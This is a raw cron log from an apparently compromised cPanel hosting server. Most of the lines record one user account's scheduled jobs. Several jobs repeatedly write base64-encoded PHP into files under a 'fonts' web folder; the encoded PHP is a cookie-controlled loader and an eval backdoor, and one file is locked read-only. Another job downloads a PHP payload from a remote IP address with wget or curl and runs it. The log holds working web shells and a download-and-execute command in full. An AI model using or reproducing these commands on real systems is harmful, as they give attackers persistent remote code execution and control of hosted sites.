Sep  2 20:18:01 ip-184-168-122-23 CROND[7041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:18:01 ip-184-168-122-23 CROND[7042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:18:01 ip-184-168-122-23 CROND[7043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:19:01 ip-184-168-122-23 CROND[7120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:19:01 ip-184-168-122-23 CROND[7121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:19:01 ip-184-168-122-23 CROND[7123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:19:01 ip-184-168-122-23 CROND[7122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:20:02 ip-184-168-122-23 CROND[7307]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 20:20:02 ip-184-168-122-23 CROND[7308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:20:02 ip-184-168-122-23 CROND[7309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:20:02 ip-184-168-122-23 CROND[7314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:20:02 ip-184-168-122-23 CROND[7313]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:20:02 ip-184-168-122-23 CROND[7317]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:20:02 ip-184-168-122-23 CROND[7318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:20:02 ip-184-168-122-23 CROND[7316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:20:02 ip-184-168-122-23 CROND[7315]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:21:01 ip-184-168-122-23 CROND[7404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:21:01 ip-184-168-122-23 CROND[7406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:21:01 ip-184-168-122-23 CROND[7407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:21:01 ip-184-168-122-23 CROND[7408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:22:01 ip-184-168-122-23 CROND[7481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:22:01 ip-184-168-122-23 CROND[7482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:22:01 ip-184-168-122-23 CROND[7486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:22:01 ip-184-168-122-23 CROND[7484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:22:01 ip-184-168-122-23 CROND[7485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:23:01 ip-184-168-122-23 CROND[7578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:23:01 ip-184-168-122-23 CROND[7580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:23:01 ip-184-168-122-23 CROND[7582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:23:01 ip-184-168-122-23 CROND[7581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:24:01 ip-184-168-122-23 CROND[7667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:24:01 ip-184-168-122-23 CROND[7668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:24:01 ip-184-168-122-23 CROND[7671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:24:01 ip-184-168-122-23 CROND[7669]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:24:01 ip-184-168-122-23 CROND[7670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:25:01 ip-184-168-122-23 CROND[7769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:25:02 ip-184-168-122-23 CROND[7770]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 20:25:02 ip-184-168-122-23 CROND[7772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:25:02 ip-184-168-122-23 CROND[7771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:25:02 ip-184-168-122-23 CROND[7773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:25:02 ip-184-168-122-23 CROND[7775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:25:02 ip-184-168-122-23 CROND[7776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:26:01 ip-184-168-122-23 CROND[7860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:26:01 ip-184-168-122-23 CROND[7859]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  2 20:26:01 ip-184-168-122-23 CROND[7861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:26:01 ip-184-168-122-23 CROND[7865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:26:01 ip-184-168-122-23 CROND[7864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:26:01 ip-184-168-122-23 CROND[7866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  2 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  2 20:27:01 ip-184-168-122-23 CROND[8035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:27:01 ip-184-168-122-23 CROND[8036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:27:01 ip-184-168-122-23 CROND[8037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:27:01 ip-184-168-122-23 CROND[8038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:28:01 ip-184-168-122-23 CROND[8203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:28:01 ip-184-168-122-23 CROND[8206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:28:01 ip-184-168-122-23 CROND[8207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:28:01 ip-184-168-122-23 CROND[8208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:28:01 ip-184-168-122-23 CROND[8205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:29:01 ip-184-168-122-23 CROND[8331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:29:01 ip-184-168-122-23 CROND[8333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:29:01 ip-184-168-122-23 CROND[8336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:29:01 ip-184-168-122-23 CROND[8335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:30:01 ip-184-168-122-23 CROND[8421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:30:01 ip-184-168-122-23 CROND[8422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:30:01 ip-184-168-122-23 CROND[8423]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 20:30:01 ip-184-168-122-23 CROND[8429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:30:01 ip-184-168-122-23 CROND[8431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
